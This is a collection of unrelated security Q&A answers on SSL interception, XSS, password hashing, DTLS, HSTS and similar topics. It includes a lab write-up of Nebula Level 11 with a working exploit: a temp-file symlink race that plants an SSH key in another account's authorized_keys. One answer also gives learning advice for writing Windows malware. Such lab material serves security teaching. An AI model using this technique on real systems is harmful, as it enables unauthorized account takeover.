How does SSL inspection work on personal devices without deploying a trusted custom certificate?

It depends.

For most modern web browsers, you'll be protected by heeding warnings that the site's certificate is untrusted. Of course, most users just look for the "easy button" and click through to the site anyway - so, there goes that protection. What's worse, the default option for some of these warning dialogs will install the site's certificate so you never see the warning there again.

For other apps (mostly mobile apps, but also many desktop-class applications), it's a bit of a crap-shoot. Many aren't using HTTPS to begin with, and many that do won't bother to check the validity of the server's certificate - or, if they do, they either don't do it right or just ignore the errors.

So long as an application isn't properly verifying the server's certificate, or the user happily clicks through any warnings presented, a network owner can proxy the SSL traffic all day without needing the user to actually install their Root CA's certificate.


Yes this still poses a security risk.

From what I understand this header is only used by IE 8 and newer tell the browser to use it's built in XSS filtering.  Even if modern versions of other browsers user it, there are certainly older browsers that do not.  In addition - I would not trust IE's built in XSS protection to keep anyone safe.

If preventing XSS were this simple XSS would not be a thing.

UPDATE:

Regarding the Content-Disposition: Attachment this will make XSS more difficult, but it seems like there are still a few ways to get around this:

http://i8jesus.com/?p=64
http://sirdarckcat.blogspot.com/2007/12/bypassing-content-disposition.html
https://bugzilla.mozilla.org/show_bug.cgi?id=392459

Even if it is not exploitable in it's current state I would still say that this is a very bad security practice.  It would leave the site in a position where a seemingly minor code change in the future could open things up to an XSS vulnerability


How I solved Nebula Level 11

The needed files are located under /home/flag11 let's take a look

level11@nebula:~$ ls ../flag11/ -all
total 21
drwxr-x--- 1 flag11 level11   100 2016-12-20 15:11 .
drwxr-xr-x 1 root   root      140 2012-08-27 07:18 ..
-rw------- 1 flag11 flag11     14 2016-12-20 15:11 .bash_history
-rw-r--r-- 1 flag11 flag11    220 2011-05-18 02:54 .bash_logout
-rw-r--r-- 1 flag11 flag11   3353 2011-05-18 02:54 .bashrc
drwx------ 2 flag11 flag11     60 2016-12-20 15:08 .cache
-rwsr-x--- 1 flag11 level11 12135 2012-08-19 20:55 flag11
-rw-r--r-- 1 flag11 flag11    675 2011-05-18 02:54 .profile
drwxr-xr-x 1 flag11 flag11     60 2016-12-20 15:07 .ssh

This little .ssh folder raises some kind of alarm signal in my brain. Maybe we need this later on. As you can see some of the files had been recently accessed. This was due to my attack.

The attached C code of the exercise is the following:

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>

/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */

int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;

  srandom(time(NULL));

  tmp = getenv("TEMP");
  pid = getpid();

  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}

void process(char *buffer, int length)
{
  unsigned int key;
  int i;

  key = length & 0xff;

  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }

  system(buffer);
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;

  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);
  }

}

After analyzing this code Return a random, non predictable file, and return the file descriptor for it.. When someone states non predictable I try to predict. This needs to be deferred a bit because the rest of the code needs inspections. Just some remarks, on old Linux systems pid of an process is pretty predictable. Of course srandom() seeded with time is predictable too.

Okay, there is some XOR encryption scheme used to decipher the buffer in process and this deciphered buffer is handed to system. Okay we need to inject some attacking calls here. From the inspection of the files we knew this is yet another setuid bit challenge, okay this is getting lame I thought. Frankly I was a bit too optimistic.

In the main function the processing buffer is filled from stdinand checked against some hard coded prefix nothing magic here.

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  // ...
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1, "reading from stdin");
  }

  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1, "invalid header");
  }

  length = atoi(line + strlen(CL));

  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1, "fread length");
      }
      process(buf, length);
  } else {

  //...
}

The err functions will exit the executable when they are hit. To bypass the following check if(fread(buf, length, 1, stdin) != length) {, the length passed to this executable needs to be one. In this case the injected code is very limited. Tests with overflowing atoi and negative numbers always failed. Because fread returns the number of items read and not the number of bytes, in this case it always returns one. Form the other exercises we knew we can pretend the PATH variable with a path we have under control. So just we just need to inject a single character into the magic process() function. The reverse of the XOR is pretty straight forward. You may need some tries to execute your command, this is because the whole buffer is passed to system. The buffer is located on the stack of main and because of this it is filled with garbage. But the chances that we hit a zero in the second character is not too bad. I already felt my success but then I got this:

getflag is executing on a non-flag account, this doesn't count

This time it was not me cheating, but the authors of Nebula the provided source code did not mention that they removed the setuid bit before the call to system. This was exposed by the strace  command.

getgid32()                              = 1012
setgid32(1012)                          = 0
getuid32()                              = 1012
setuid32(1012)                          = 0
rt_sigaction(SIGINT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_IGN, [], 0}, {SIG_DFL, [], 0}, 8) = 0
rt_sigprocmask(SIG_BLOCK, [CHLD], [], 8) = 0
clone(child_stack=0, flags=CLONE_PARENT_SETTID|SIGCHLD, parent_tidptr=0xbfa443a8) = 6180

Okay, this looks like a dead end. Back to the drawing board, the SSH idea popped up again. But how can we use the .ssh folder. This is pretty easy we have to inject a authorized_keys file there. But how can this be achieved without setuid?

  } else {
      int blue = length;
      int pink;

      fd = getrand(&path);

      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);

          pink = fread(buf, 1, sizeof(buf), stdin);
          printf("pink = %d\n", pink);

          if(pink <= 0) {
              err(1, "fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);

          blue -= pink;
      }

      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1, "mmap");
      }
      process(mem, length);

}

So far I completely ignored the else case of the buffer length check. This is where the super top secret temp file name comes into the game. To get control over the file we have to define the environment variable from the shell we run the attack later on:

export TEMP=/tmp

Now it is just a matter of guessing the PID of our victim. This is easy, when we pipe the stdout to the stdin of the victim the chances are high it is just plus one of our own. Otherwise popen() could be used and injecting pid from ps | grep flag11. The time part is super easy because it is the time in seconds. To get a stable successrate we also use the filename for the next second. The whole attacker code lookks like this:

int getrand(char **path, int pid, int time)
{
  char *tmp;
  int fd =  0;

  srandom(time);

  tmp = getenv("TEMP");
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));

  return fd;
}

#define CL "Content-Length: "

int main(int argc, char **argv)
{
  char line[256];
  char buf[2048] = "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCyS3QqEqbQHTk30QVRpzPVlKjM0px2iMhFfKFP0AmV8vOzCxVLJrYQv0CKPzQDdnszm/H+HrUjBS+c2RY0QB7IPJ8++tuqNEfewoYHJ80NI+7e9mn0HxlN9NCvI6TGX0+1s0VigwtKmq29pP7jHgualoowGrllnk42QI1nvUern6WZUu/Ry+lGyjyYbgd6BSOQpuvnxpxsFDWuk7AsUwrHJijPstS+lsrFZaMEYGqlxHv2hPjCFoADlrTCgusmrwLWsh/ljPfpgzRs2Ts/KF901xpCoHdzzwpckLuoA8+bYznifBp+StDEMkT5gZDygDUTfz5xhYr+KEx1ijHMHvix level11@nebula";

  int pid;
  int fd;
  char *path;
  FILE* stream;

  pid = getpid()+1;
  getrand(&path, pid, time(NULL));
  symlink("/home/flag11/.ssh/authorized_keys",path);
  getrand(&path, pid, time(NULL)+1);
  symlink("/home/flag11/.ssh/authorized_keys",path);
  fprintf(stdout, "%s%d\n%s",CL,sizeof(buf),buf);
}

The ssh key needs to be generated first. It took me some tries to fullfill those strange checks with the colors. Maybe one needs to check the format of the time() function to not run into overflow issues. At the moment it is not clear to me why it is not neccessary to crypt the buffer. Maybe some speciality of the mmap function. Anyway with the ssh key injected you can log into flag11 account and get your flag.

level11@nebula:~$ ./pwn11 | ../flag11/flag11
blue = 2048, length = 2048, pink = 395
blue = 1653, length = 2048, pink = 0
flag11: fread fail(blue = 1653, length = 2048): Operation not permitted
level11@nebula:~$ ssh flag11@localhost

      _   __     __          __
     / | / /__  / /_  __  __/ /___ _
    /  |/ / _ \/ __ \/ / / / / __ `/
   / /|  /  __/ /_/ / /_/ / / /_/ /
  /_/ |_/\___/_.___/\__,_/_/\__,_/

    exploit-exercises.com/nebula

For level descriptions, please see the above URL.

To log in, use the username of "levelXX" and password "levelXX", where
XX is the level number.

Currently there are 20 levels (00 - 19).

Welcome to Ubuntu 11.10 (GNU/Linux 3.0.0-12-generic i686)

 * Documentation:  https://help.ubuntu.com/
New release '12.04 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

flag11@nebula:~$ getflag
You have successfully executed getflag on a target account
flag11@nebula:~$


What is advantage of passing request / response data via cookies instead of regular query parameters?

Only thing I can come up with is the person making the specification knows about the security issues inherent in GET requests, does not know about POST requests, and does not know about how many cookie stealing vulnerabilities there have been over the years.

I don't know AJAX very well, but it's my impression there are both secure and non-secure ways to use it as well.


Security risks downloading external images automatically from script

From my point of view you need to follow the next steps to make it secure the download of the images.

Download the image with read only permissions on the box.
Verify the format of the received file (for example with the library libmagic that will tell you if is a real image with big probability).
Open the file with your program for read the resolution, and other values.
Delete the file.

So in case you download a executable file that somebody on the internet rename to .jpg the step 2 and step 3 will fail.

Probably wait until other users give you other useful options.


Is there any real value in hashing/salting passwords?

Users often use the same passwords on multiple sites. Your site might not have any financial data, but what if the same password is used for their bank, or for an online store?

You could argue that this isn't your problem, but it is a common issue, and is why whenever a breach happens, one of the immediate statements is "change your password, and change it on any other sites where you've used the same password".

If your site used something like Bcrypt (without flaws in the implementation - see Ashley Madison), the chances of an attacker being able to work out what passwords have been used is slimmer, and it increases the time for users to be able to change their passwords elsewhere. If you just store the password in your DB without any hashing, an attacker can wander off with the email addresses and passwords and start attacking another site immediately.

Email address and password pairs are often traded between attackers too, in the form of "combo lists", which means that even if the original attacker is only interested in your site, they might be able to get some benefit by selling the data to someone else.

Added in response to comment on question mentioning 2-way encrypted storage

The problem with a 2 way encryption approach is that the information to decrypt must be stored somewhere in the system. If an attacker gains access to your database, there is a good chance they have access to your encryption key too. A hash can't be reversed in this way - online tools for reversing hashes effectively look up the hash in a pre-computed list.

Even if they don't have the encryption key, they might be able to work out what the key was - they can use a known plaintext attack by entering a password to your system and seeing what the result is. It probably wouldn't be a quick process, but it could be worth doing if there were any high value targets in your data (celebrities, politicians...).

On the other hand, with a strong, salted, hash, the only way to find the original password with strong certainty is to hash every possible input, using the appropriate salt. With something like Bcrypt, this would take years, although weak passwords will still be found relatively quickly.


Is a file shredder/secure erase necessary when you have full disk encryption turned on?

I would still recommend using secure delete in your scenario. Should your machine be compromised when you are logged in (malware etc), full disk encryption will not protect you from a undelete operation via C&C malware for example.

SSDs have problems erasing files but a number of manufacturers provide utilities for their drives to securely erase a file and while not always perfect has been reviewed to perform well. Furthermore, if your drive supports TRIM, normal Windows 7+ delete should also function fine when the recycle bin is cleaned. This post helped me understand a lot more last year, hope it helps you: https://raywoodcockslatest.wordpress.com/2014/04/21/ssd-secure-erase/

As for a more secure way to delete the password file, sure there are plenty of other creative ways but that all depends on your appetite for pain.

Damn good question, thank you for that!


You could try John the Ripper. Alternatively if you are willing to pay cash money there is a service which will do this for you for a fee:

http://www.rixler.com/windows_service.htm

Only do this if it is your password or at the request of the owner. Remember that logging on to a computer without proper authority is a crime in most jurisdictions.


According to their support page, it doesn't search in the body of the mail:

  At this time ProtonMail does not search the body of your email messages. This is due to the fact that they are encrypted on our servers, and therefore we currently do not have a means to search them.

Instead, it searches in these non-encrypted fields:

  Recipient email addresses
  Sender email addresses
  Subjects
  Date s message was sent/received
  Folder (Location)
  Attachments (only yes/no, not the name of the attachment)


AFAIK, WhatsApp is closed source. And the data passes through their servers. And they have control on the keys used for encryption (because it is closed source). So on a security point of view, you should assume that they can read the content of the messages.

Whether they do it or no is a different question, but if privacy is important, you should not rely on WhatsApp.

Now to answer your precise questions:

  can WhatsApp see with whom I send & receive messages

Of course they can. How could the know where to forward the messages?

  can WhatsApp see how many messages I send & receive

Of course they can. I assume they have technical logs that should contain sender and recipient for each message. Such logs are required for the administration of a platform

  can WhatsApp see when I send & receive messages

Of course they can, for the very same reason as for your first question


Is the OData Protocol susceptible to Insecure Direct Object References?

The key to Insecure Direct Object Reference is the insecure bit. While it's not always a great idea to use direct object references sometimes you just have to because thats the schema of the data and you can only use the schema of the data. OData is one of those cases. So here you are stuck with managing the insecure bit, and OData doesn't have any authentication or authorization mechanism built in. You have to build in the auth schemes.

So to answer your question, OData is only insecure as long as you haven't set up authn or authz for the particular objects.


Possibility to sniff HTTPS traffic on devices without installing a certificate

The entire point of SSL is its resistance to eavesdropping by man-in-the-middle attacks like the one you're proposing. If you cannot make the client device trust your self-signed certificate, then your only options are:

Intercept an initial HTTP request and never let the communication be upgraded to HTTPS (but this will not work if the if the client explicitly goes to an https://... URL)
Pretend to be the server with your own self-signed certificate, and hope that the system making the request naively accepts a self-signed certificate (which is the decision-making equivalent to a user who ignores the browser's stern warnings about a possible MITM attack in progress)
Check for susceptibility to known past attacks on SSL (Heartbleed, BEAST, etc.). Note that this option is most likely to be illegal, since it may require an attack on the server (which you don't own) rather than an attack on the client (which you do possibly do own)

If you have many trillions of dollars available to you, you may have a few other options:

Successfully compromise a worldwide-trusted certificate authority and use their secret signing key to produce forged certificates for your own keypair
Purchase or discover a zero-day security vulnerability in a Web client, Web server, or (most preferably) SSL/TLS library used by the client or server
Discover a crippling weakness in some underlying cryptographic primitive used by SSL (for example, completely breaking AES might do nicely)
Spend trillions of dollars on computer hardware to perform brute force attacks on intercepted encrypted communications

If you have unlimited physical access to the device, almost certainly an attack on the device's own trusted certificate store would be easier than an attack on SSL (though it may also be far from easy).


Main difference between Yahalom and Needham-Schroeder key exchange protocols

I have added a table which can be useful. From the number of encryption and decryption operations, decide for yourself which one is computationally expensive from a client and key server perspective. A, B are clients and S is the key server.


ports blocked by firewall and not the server

There is a tool called Firewalk that is designed to accomplish this goal.  It's a bit old but since networking hasn't changed much in that time I expect it should still work.

Article, tutorial, project home page.

The whitepaper linked from the article is now at http://packetfactory.openwall.net/projects/firewalk/firewalk-final.pdf.

The general concept is that as long as there is a hop after the firewall, you can set the TTL of a packet so that it gets one hop past the firewall and expires, causing an ICMP response to be sent back to you.  If you get no response, the firewall blocked the packet.  If you get a response, the firewall didn't block the packet (meaning the target host must be).

There are ways this could go wrong, such as outbound ICMP messages being denied by the firewall, a different firewall may be blocking inbound or outbound traffic, general packet loss, the target host being down or there being no hops after the firewall before the target server, but if you get a positive response out of it then you know it will be accurate.  The Firewalk tool has techniques to try to detect false negatives.

You can probably achieve similar results with traceroute although you may need to fiddle with the options such as the type and size of packets that you send and you will need to send many different probes to rule out false negatives.  The whitepaper uses traceroute extensively in examples.


Why block IPs from which SSH login failed too often?

This is a simple brute force attack, they pick a login and go trying every possible password, starting from the most common ones and such.

In your case they've been trying a user name that doesn't even exist, which leads you to question if there's even a point in blocking them, but consider the scenario where they do try a valid login.

Not blocking their IP would give them the opportunity to try out several millions, maybe billions of passwords per day, until they find the right one.

If you block their IP for several minutes every time they fail a number of attempts, however, will render their hopes of finding that password within a practical time completely futile. That server won't be hacked that way within a life time.

This also means they will most likely give up and stop flooding your server with silly login attempts.


DTLS is currently (version 1.2) defined in RFC 6347 by explaining the differences with TLS 1.2 (RFC 5246). Most of the TLS elements are reused with only the smallest differences.

The context is that the client and the server want to send each other a lot of data as "datagrams"; they really both want to send a long sequence of bytes, with a defined order, but do not enjoy the luxury of TCP. TCP provides a reliable bidirectional tunnel for bytes, where all bytes eventually reach the receiver in the same order as what the sender used; TCP achieves that through a complex assembly of acknowledge messages, transmission timeouts, and reemissions. This allows TLS to simply assume that the data will go unscathed under normal conditions; in other words, TLS deems it sufficient to detect alterations, since such alterations will occur only when under attack.

On the other hand, DTLS works over datagrams which can be lost, duplicated, or received in the wrong order. To cope with that, DTLS uses some extra mechanisms and some extra leniency.

Main differences are:

Explicit records. With TLS, you have one long stream of bytes, which the TLS implementation decides to split into records as it sees fit; this split is transparent for applications. Not so with DTLS: each DTLS record maps to a datagram. Data is received and sent on a record basis, and a record is either received completely or not at all. Also, applications must handle path MTU discovery themselves.
Explicit sequence numbers. TLS records include a MAC which guarantees the record integrity, and the MAC input includes a record sequence number which thus verifies that no record has been lost, duplicated or reordered. In TLS, this sequence number (a 64-bit integer) is implicit (this is always one more than the previous record). In DTLS, the sequence number is explicit in each record (so that's an extra 8-byte overhead per record -- not a big deal). The sequence number is furthermore split into a 16-bit "epoch" and a 48-bit subsequence number, to better handle cipher suite renegotiations.
Alterations are tolerated. Datagrams may be lost, duplicated, reordered, or even modified. This is a "fact of life" which TLS would abhor, but DTLS accepts. Thus, both client and server are supposed to tolerate a bit of abuse; they use a "window" mechanism to make sense of records which are "a bit early" (if they receive records in order 1 2 5 3 4 6, the window will keep the record "5" in a buffer until records 3 and 4 are received, or the receiver decides that records 3 and 4 have been lost and should be skipped). Duplicates MAY be warned upon, as well as records for which the MAC does not match; but, in general, anomalous records (missing, duplicated, too early beyond window scope, too old, modified...) are simply dropped.

This means that DTLS implementation do not (and, really, cannot) distinguish between normal "noise" (random errors which can occur) and an active attack. They can use some threshold (if there are too many errors, warn the user).
Stateless encryption. Since records may be lost, encryption must not use a state which is modified with each record. In practice, this means no RC4.
No verified termination. DTLS has no notion of a verified end-of-connection like what TLS does with the close_notify alert message. This means that when a receiver ceases to receive datagrams from the peer, it cannot know whether the sender has voluntarily ceased to send, or whether the rest of the data was lost. Note that such a thing was considered one of the capital sins of SSL 2.0, but for DTLS, this appears to be OK. It is up to whatever data format which is transmitted within DTLS to provision for explicit termination, if such a thing is needed.
Fragmentation and reemission. Handshake messages may exceed the natural datagram length, and thus may be split over several records. The syntax of handshake messages is extended to manage these fragments. Fragment handling requires buffers, therefore DTLS implementations are likely to require a bit more RAM than TLS implementations (that is, implementations which are optimized for embedded systems where RAM is scarce; TLS implementations for desktop and servers just allocate big enough buffers and DTLS will be no worse for them). Reemission is done through a state machine, which is a bit more complex to implement than the straightforward TLS handshake (but the RFC describes it well).
Protection against DoS/spoof. Since a datagram can be sent "as is", it is subject to IP spoofing: an evildoer can send a datagram with a fake source address. In particular a ClientHello message. If the DTLS server allocates resources when it receives a ClientHello, then there is ample room for DoS. In the case of TLS, a ClientHello occurs only after the three-way handshake of TCP is completed, which implies that the client uses a source IP address that it can actually receive. Being able to DoS a server without showing your real IP is a powerful weapon; hence DTLS includes an optional defense.

The defensive mechanism in DTLS is a "cookie": the client sends its ClientHello, to which the server responds with an HelloVerifyRequest message which contains an opaque cookie, which the client must send back as a second ClientHello. The server should arrange for a type of cookie which can be verified without storing state; i.e. a cookie with a time stamp and a MAC (strangely enough, the RFC alludes to such a mechanism but does not fully specify it -- chances are that some implementations will get it wrong).

This cookie mechanism is really an emulation of the TCP three-way handshake. It implies one extra roundtrip, i.e. brings DTLS back to TLS-over-TCP performance for the initial handshake.

Apart from that, DTLS is similar to TLS. Non-RC4 cipher suites of TLS apply to DTLS. DTLS 1.2 is protected against BEAST-like attacks since, like TLS 1.2, it includes per-record random IV when using CBC encryption.

To sum up, DTLS extra features are conceptually imports from TCP (receive window, reassembly with sequence numbers, reemissions, connection cookie...) thrown over a normal TLS (the one important omission is the lack of acknowledge messages). The protocol is more lenient with regards to alterations, and does not include a verified "end-of-transmission" (but DTLS is supposed to be employed in contexts where this would not really make sense anyway).

The domain of application of DTLS is really distinct from that of TLS; it is meant to be applied to data streaming applications where losses are less important than latency, e.g. VoIP or live video feeds. For a given application, either TLS makes much more sense than DTLS, or the opposite; best practice is to choose the appropriate protocol.


My advice would be to first learn MIPS to wrap your head around how exactly heap and stack and OS calls work and then move on to x86 since you want to focus on developing malware for Windows.

EDIT: Why would you think it works on every CPU? The article itself only alleges that it works on all Windows versions and nothing more.


Yes, strict transport security provides a real benefit.

HSTS tells the browser to only communicate with the server via HTTPS. The first time the browser sees the HSTS header from the server, it remembers it. When the user visits the site again, the browser enforces that all communication is done via HTTPS. This will work as long as the attacker doesn't strip the header on the first visit to the site.

This prevents SSL-stripping attacks, a form of man-in-the-middle attack which presents the user with a clear-text resource instead of the SSL one. Normally, the user would not be alerted, and most "average" users wouldn't spot that the SSL padlock or green/blue highlight isn't shown in the URL bar. In the case of HSTS, the browser would immediately warn the user that the browser is attempting to violate its own security policy.

Client creates a clear-text connection to the server.
Server responds with a redirect to the HTTPS address, with the HSTS header set.
Client and server communicate over SSL.
Session ends.
Client comes back later, browser has stored the HSTS flag for this domain.
Attacker attempts to perform SSL-strip attack, and serves clear-text to the client.
Client recognises that the HSTS policy disallows this, and alerts the user.

For further security, some are proposing that HSTS be implemented as an option in DNSSEC, so that the HSTS header is set as part of the DNS lookup. Since DNSSEC provides strong security through pre-distributed authority certificates, this would make it exceedingly difficult for an attacker to defeat the HSTS mechanism, even if they are actively attempting to SSL-strip on the first visit to the site.


What companies drive around recording license plates? What do they do this for and on what grounds are they able to do so, legally speaking?

Vigilant Solutions claims to have the largest repository, with over 2 billion records. http://www.wired.com/2014/05/license-plate-tracking/

The information is shared with law enforcement (local, state, federal), insurance companies, etc. Unfortunately there seem to be few if any legal restrictions on collecting and using the information, despite the potential for quite a detailed dossier on your movements (with implications for free speech and association, not to mention basic privacy, especially of your health, religious, financial info) being available to untrusted entities.

See also:

You are being tracked (ACLU)

License plate reader firm releases dubious poll to show public support

Your car, tracked: the rapid rise of license plate readers


Using Tor from behind a Proxy (like Burp Suite)

Have a look at this: http://www.ojscurity.com/2015/02/docker-zed-attack-proxy-with-tor.html

Not tried it myself, but it looks like it could be what you want :)


OAuth2 with client credentials v/s other auth mechanisms

OAuth is an authorization protocol, not an authentication protocol. Its role is not to tell you who is at the other end of the wire, but what that person can do. It so happens that OAuth can be abused into an authentication system: this is called OpenID Connect. The idea is that in order to give you authorization information (is the client allowed to do this or that ?), the OAuth server must first make sure of the identity of the client (who are we talking about ?); OpenID Connect is about reusing that inner authentication protocol ("if the OAuth server granted access, then, in particular, the OAuth server authenticated the client, and we have faith in the protocol used by the OAuth server, whatever it is").

If you do not have faith in what the OAuth server does to authenticate clients, then you can use other authentication methods such as passwords or client certificates. In that case, your server does the authentication, and then talks to the OAuth server: "I have Bob online, what is he allowed to do ?".

The question then boils down to: is the authentication layer in the OAuth server appropriate for your situation, or not ? This is up to you to decide. IF you decide to do the authentication yourself, then there are several methods with various characteristics. Which one is the best depends on the context; only a few remarks can be made in a generic way:

Whatever you do, use SSL. This is necessary to ensure that the authentication and authorisation you perform really applies, in a not-alterable way, to whatever requests the client subsequently sends to you.
Since you use SSL, don't do HTTP digest; use HTTP basic instead. SSL offers a much better protection than what HTTP digest offers (when compared to HTTP basic); and HTTP digest is not compatible with proper password server-side storage mechanisms (bcrypt...).
Client certificates are more complex for users, and make sense mostly when the authentication and the identity management are done by separate entities. If you just want to authenticate your users for your server, then certificates are overkill and probably not a good idea.


Is it possible for our security administrator to still see our packets from the server side?

Just check the issuer of the certificate & any manually-installed 3rd party trusted certificate authorities.

And you can make sure by using Firefox as it uses its own certificate authority repository (Not like IE & Chrome which use Windows repository), which makes it harder for administrator to install the un-trusted certificate authority.

Also, this webpage helps: https://www.grc.com/fingerprints.htm


How can my bank debit card reader know that my pin is valid?

The card knows this, the reader doesnt. When you put a pin in the reader talks to the microcontroller on the card to verify - which also logs the incorrect attempts. So multiple readers wont help trying to guess somebodies pin!
Thats more or less the extent of my knowledge, but an overview of how it works. The underlying protocols I have no knowledge of unfortunately. But the best public chip and pin researchers I've seen to date are the Cambridge guys ( http://www.cl.cam.ac.uk/~rja14/ ) despite the legal threats against them.
A better answer will come along very soon!


When generating user session tokens, should i bother checking for a duplicate?

I fully understand the low chances of this happening

With all due respect, I don't think you do :P I would say the chances are indeed comedically low!
The first thing to check is the quality of the random numbers. The PHP docs claim that these are cryptographically secure pseudo-random bytes. Good good.
Next, 32 bytes = 256 bits. IE 2256 possible values, which because it's a cryptographic RNG, we assume will chosen uniformly at random. To understand the probability of naturally-rolling a collision, watch this excellent 5 min video.

How secure is 256 bit security?

Paraphrased:
Say you generate a random number with PHP's random_bytes(32). How long until you expect to see that number come up again naturally?

Imagine that you have a machine packed full of 8 GPUs generating numbers with PHP's CSPRNG as fast as they can. Now imagine that half the people on Earth had their own personal kilo-google's worth of those machines (1000x the number of CPUs that Google is estimated to own). Now imagine a galaxy with 4 billion copies of that Earth. Now imagine 4 billion copies of that galaxy. Let them run for 37x the age of the universe. And you're still missing another factor of 4 billion before you would expect to see a natural collision on a 32-byte random number.

32 bytes seem short, but people tend to have very bad intiutions about what it means for that number to have 2256 possible values.
So put in the uniqueness check if you want, but know that your CPU will rust out and return to the earth long before you expect that line of code to trigger. Seems like a waste of a DB search to me.


Full disk encryption for UEFI non-OS GPT drives? (VeraCrypt)

1.18 supports UEFI for boot volume

It is better to use VeraCrypt 1.20B2 from sourceforge

Ordinary data volumes on GPT disks work also.


Sometimes the connection information inside a packet is predictable. TCP initial sequence numbers, for example, can be an issue if they are not random. See http://www.networkcomputing.com/unixworld/security/001.txt.html for one example. The same thing can also happen with DNS request ids.

Usually these attacks don't work on the first try, but will with several tries in quick succession. If you know that Bob just asked Alice where google.com resolves to, and you know the request id, you can tell Bob that it is your server by sending a packet that claims to be from Alice's IP address.


In end-to-end encryption where should the asymmetric encryption keys be created?

In true end-to-end encryption you'd generate keys for authentication on the client. The actual encryption is usually done using an algorithm which supports forward secrecy, like Diffie-Hellmann. The web is a bad form factor for this, as local storage can usually be deleted at any time.

As for your last question: there is an implementation of the Signal protocol in JS here: https://github.com/signalapp/libsignal-protocol-javascript


How to securely store information without a key or password?

@Limit provides a good answer for web applications, but I'd like to answer your question for the general case.

E.G. you have an application, which you entrust with your password so it can sign you into other services. A good example would be your mail client(either on your smartphone or your desktop pc), which must store your username and password in order to authenticate with the mailserver. Another example of applications that do this would be web browsers which can store your login credentials for various websites.

These software agents need access to your plain text password, so the standard solution for keeping a password safe (password hashing) can't be used.

The short answer to your question in this case: You're entirely right, this isn't secure and your credentials can't be reliably protected (assuming you're not asked by the mail client / webbrowser to provide a master password, that is).

The longer answer: Some operating systems provide a kind of password safe, which is basically a file which contains the passwords, but the file is encrypted before storing it on disk.

In order to encrypt and decrypt, the operating system needs a key. It generates a random one and then encrypts this key with the password you use to sign into your operating system user account. Whenever you sign in, the password you entered is used to decrypt the random key. So this adds a layer of security (which can be circumvented by malware, but at least it's not enough to just look at the password file in order to steal your passwords). Of course, if you don't have any sign-in authentication configured for your os user account, this is pointless, because the OS won't have any secret from you to encrypt and decrypt the password file key with.

Operating systems which provide this password safe service for user applications are, as far as I know, in the minority. But there'a a few systems that work almost like that. For example, the KDE desktop environment on Linux provides such a password safe; it's not connected to your system user account password, so you need to provide an additional password, but just once per session. All software agents which use the password safe can then access their respective passwords.

(As an aside: Smartphone operating systems like iOS and Android provide transparent encryption of all your data on the phone. If you enable this,  it works exactly like the system I've described for encrypting the password safe - your sign-in secret (e.g. pin code, password) is used to encrypt the master key which encrypts and decrypts the stored data)


Explicitly prohibit an intermediate CA certificate on OpenSSL

By trusting the Root CA you're trusting their judgement in who they sign.  As long as the intermediate CA is valid, not revoked, and you're trusting the Root CA... the chain will always be verified.  Other applications (such as FireFox) can add additional checks and functionality to check for untrusted intermediate certificates, but unless the application provides it it's not really part of the SSL/TLS specification.

To remove trusted root CAs you can perform the following:

update-ca-certificates updates /etc/ssl/certs by reading the /etc/ca-certicates.conf.  /etc/ca-certificates.conf is autogenerated by running sudo dpkg-reconfigure ca-certificates.

This will bring up a command GUI.

At the first prompt you have the option to say Yes/No/Ask for new certificates.  Click Ask
Now you'll be given a huge list of CAs with a * next to them.  Go down the list and remove the CAs you want by pressing spacebar.  The * will be removed.
When you're done press Enter.
This should trigger the updating of /etc/ssl/certs.  The CAs you've removed should be listed at the command prompt.

If you don't see something like this:

Processing triggers for ca-certificates ...
Updating certificates in /etc/ssl/certs... 0 added, 1 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Removing debian:A-Trust-nQual-03.pem
done.
done.

Then I would then run sudo update-ca-certificates to ensure that /etc/ssl/certs is updated appropriately.

I performed all of this on a Debian based system.


How can salted, hashed password storage be combined with a plaintext, nonce and hash based authentication?

